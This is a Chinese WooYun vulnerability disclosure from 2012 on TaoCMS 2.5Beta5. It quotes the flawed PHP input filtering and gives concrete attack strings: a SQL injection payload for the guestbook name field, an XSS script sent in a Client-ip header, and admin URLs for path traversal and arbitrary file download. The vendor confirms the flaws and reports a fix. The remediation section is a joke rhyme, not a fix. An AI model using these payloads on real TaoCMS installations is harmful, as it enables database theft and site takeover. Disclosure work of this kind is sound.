当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(10) 关注此漏洞

缺陷编号: WooYun-2012-14007

漏洞标题: TaoCms SQL 注入

相关厂商: taocms开源

漏洞作者: yy520

提交时间: 2012-10-28 23:12

公开时间: 2012-12-12 23:13

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-28: 细节已通知厂商并且等待厂商处理中
2012-10-29: 厂商已经确认,细节仅向厂商公开
2012-11-08: 细节向核心白帽子及相关领域专家公开
2012-11-18: 细节向普通白帽子公开
2012-11-28: 细节向实习白帽子公开
2012-12-12: 细节向公众公开

简要描述:

TaoCms SQL 注入
嗯,来刷点rank

详细说明:

版本:taoCMS2.5Beta5



在中include/common.php中:

code 区域
30  if(!function_exists('get_magic_quotes_gpc') || get_magic_quotes_gpc())
31 {
32 $_GET = Base::magic2word( $_GET );
33 $_POST = Base::magic2word( $_POST );
34 $_COOKIE = Base::magic2word( $_COOKIE );
35 }



magic2word在include/Model/Base.php中定义:

code 区域
230    static function magic2word($text){
231 if (is_array($text)) {
232 foreach($text as $k=>$v){
233 $text[$k]=self::magic2word($v);
234 }
235 }else{
236 $text=stripslashes($text);
237 }
238 return $text;
239 }



总体就是一开始就去除魔术引号



然后在:

code 区域
123    static function safeword($text,$level=8){
124 if(is_array($text))
125 {
126 foreach( $text as $key=>$value){
127 $safeword[$key]=self::safeword($value);
128 }
129 }
130 else
131 {
132 switch ($level)
133 {
134 case 0:
135 if (get_magic_quotes_gpc()) {// 检查magic_quotes_gpc是否打开,如果没有打开,用addslashes进行转义
136 $safeword = stripcslashes($text);
137 }else{
138 $safeword=$text;
139 }
140 break;
141 case 1:
142 $safeword=intval($text);
143 break;
144 case 3:
145 $safeword=strip_tags($text);
146 break;
147 case 5:
148 $safeword=nl2br(htmlspecialchars($text));
149 break;
150 case 6:
151 $safeword=str_replace("'","",addslashes($text));
152 $safeword=str_replace("select","",$safeword);
153 $safeword=str_replace("union","",$safeword);
154 $safeword=str_replace("=","",$safeword);
155 break;
156 default:
157 if(ucfirst(DB)=='Sqlite'){
158 $safeword=str_replace("'","''",$text);
159 }
160 else{
161 $safeword=Base::_addslashs($text);
162 }
163 break;
164
165 }
166 }
167 return $safeword;
168 }
169 static function _addslashs($text){
170 if (!get_magic_quotes_gpc()) {// 检查magic_quotes_gpc是否打开,如果没有打开,用addslashes进行转义
171 $text = addslashes($text);
172 }
173 return $text;
174
175 }





神逻辑,一开始就去掉魔术引号,后面为啥还在_addslashs判断它是否使用了gpc,直接去掉if得了....

当gpc开启,数据库为mysql,利用safeword来过滤注入语句就形同虚设了,所以差不多就是只要找到任意一个字符型的参数,就可以注入了,例如在留言处:姓名输入a','b',(select @@version),'c','123'),('26','c 同理内容处也可以注入...



结果如图:







另外一枚注入:

在include/Model/Base.php中:

code 区域
34    static function realip(){
35 if(getenv('HTTP_CLIENT_IP')){
36 $ip=getenv('HTTP_CLIENT_IP');
37 }elseif(getenv('HTTP_X_FORWARDED_FOR')){
38 $ip=getenv('HTTP_X_FORWARDED_FOR');
39 }elseif(getenv('REMOTE_ADDR')){
40 $ip=getenv('REMOTE_ADDR');
41 }else{
42 $ip=$HTTP_SERVER_VARS['REMOTE_ADDR'];
43 }
44 return $ip;
45 }



有两个地方调用了realip,挑简单的讲

在wap/index.php中调用了realip:



code 区域
25  if($mobile){
26 if($name==''||$comment=='')die('Please input your name and comment correctly!<a href="?id='.$article_id.'">Back</a>');
27 $tmp['article_id']=$article_id;
28 $tmp['name']=Base::safeword($name,4);
29 $tmp['emails']='ok@ok.com';
30 $tmp['content']=Base::safeword($comment,5);
31 $tmp['ips']=Base::realip();
32 $tmp['times']=Base::getnowtime();
33 $data['status']=1;
34 $addstatus=$dbit->add_one(TB."comment",$tmp);
35 $dbit->updatelist(TB."cms","cmtcount=cmtcount+1",$tmp['article_id']);
36 die('^_^Submit Succefully!<a href="?id='.$article_id.'">GO ON!</a>');
37





最后$tmp['ips']完全没过滤的进入了sql语句

这个$tmp['ips']还可xss到后台哦



code 区域
POST /taocms/wap/?id=26 HTTP/1.1
Host: 192.168.100.100
Client-ip: <script>alert(1)</script>







后台漏洞一堆:

目录遍历:admin/admin.php?action=file&ctrl=lists&path=../.../

任意文件下载:admin/admin.php?action=file&ctrl=download&path=../../../../test.txt

后台get shell就是直接编辑文件。。。。

吐槽一下添加人员那里:

能添加相同名字的人员,比如再添加一个admin,然后在登陆处只检索了一行,就直接导致另外一个同名人员无法登陆.....什么逻辑啊!!!



code 区域
44    public function checkUser(){
45 $this->db=new Dbclass(SYS_ROOT.DB_NAME);
46 $user=$this->db->get_one(TB."admin","name='".Base::safeword($_POST['name'],6)."'");
47 if( strlen($user['passwd'])==30){
48 $autoOk=substr(md5($_POST['pwd']),0,30)==$user['passwd'];
49 }else{
50 $autoOk=$_POST['pwd']==$user['passwd'];
51 }





还有能否给添加的用户名设置maxlen,我用了admin(空格数>30)hello,就被mysql截断了。。。要是能前台注册用户,你就悲剧了。



..真不爽,最好玩的__autoload的被kobin97大牛先找到了

漏洞证明:

如上所示....

修复方案:

药药!切克闹!煎饼果子来一套!一个鸡蛋一块钱!喜欢脆的多放面!辣椒腐乳小葱花!铁板铁铲小木刷!药药!切克闹!放点面酱些许甜!趁热吃了似神仙!艾瑞巴蒂!黑喂够!跟我一起来一套!动词大慈动词!我说煎饼你说要!“煎饼”“要”“煎饼”“要”切克闹切克闹!金黄喷香好味道!

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2012-10-29 11:50

厂商回复:

十分感谢您的检测,当前注入相关漏洞已经修复,后台db字符截断、文件读写逻辑问题将会继续完善

最新状态:

2012-10-29:注入&xss已经修复,其他逻辑问题将在下个版本完善

2012-10-29:请用户下载最新的更新补丁


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
100%
0%
0%
0%

评价

  1. 2012-10-28 23:22 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)
    1

    @yy520,你这不得了,还在忙活啊

  2. 2012-10-29 01:57 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )
    2

    @shack2 最近有点不务正业,随便玩玩

  3. 2012-10-29 12:15 | G8dSnow ( 路人 | Rank:21 漏洞数:5 | 一直在学习技术、分享知识的路上)
    2

    尿了尿了…

登录后才能发表评论,请先 登录